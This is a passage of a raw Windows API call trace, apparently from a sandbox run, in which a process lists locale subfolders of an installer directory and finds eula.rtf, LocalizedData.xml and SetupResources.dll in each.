ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.563] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.563] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0050.563] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.563] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0050.564] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.564] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260840 [0050.564] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.564] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.564] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.564] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.565] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.565] FindClose (in: hFindFile=0x4260840 | out: hFindFile=0x4260840) returned 1 [0050.565] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.565] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0050.565] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.565] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0050.566] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.567] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.567] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.567] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.567] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.567] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0050.567] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.567] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0050.567] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.567] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260280 [0050.568] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.568] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.568] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.568] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.568] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.568] FindClose (in: hFindFile=0x4260280 | out: hFindFile=0x4260280) returned 1 [0050.568] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.568] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0050.568] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.568] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0050.569] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.569] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.569] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.569] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.569] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.569] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0050.569] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.569] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0050.569] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.569] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260780 [0050.570] FindNextFileW (in: hFindFile=0x4260780, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.570] FindNextFileW (in: hFindFile=0x4260780, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.570] FindNextFileW (in: hFindFile=0x4260780, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.570] FindNextFileW (in: hFindFile=0x4260780, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.570] FindNextFileW (in: hFindFile=0x4260780, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.570] FindClose (in: hFindFile=0x4260780 | out: hFindFile=0x4260780) returned 1 [0050.570] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.571] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0050.571] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.571] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260380 [0050.571] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.571] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.571] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.572] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.572] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.572] FindClose (in: hFindFile=0x4260380 | out: hFindFile=0x4260380) 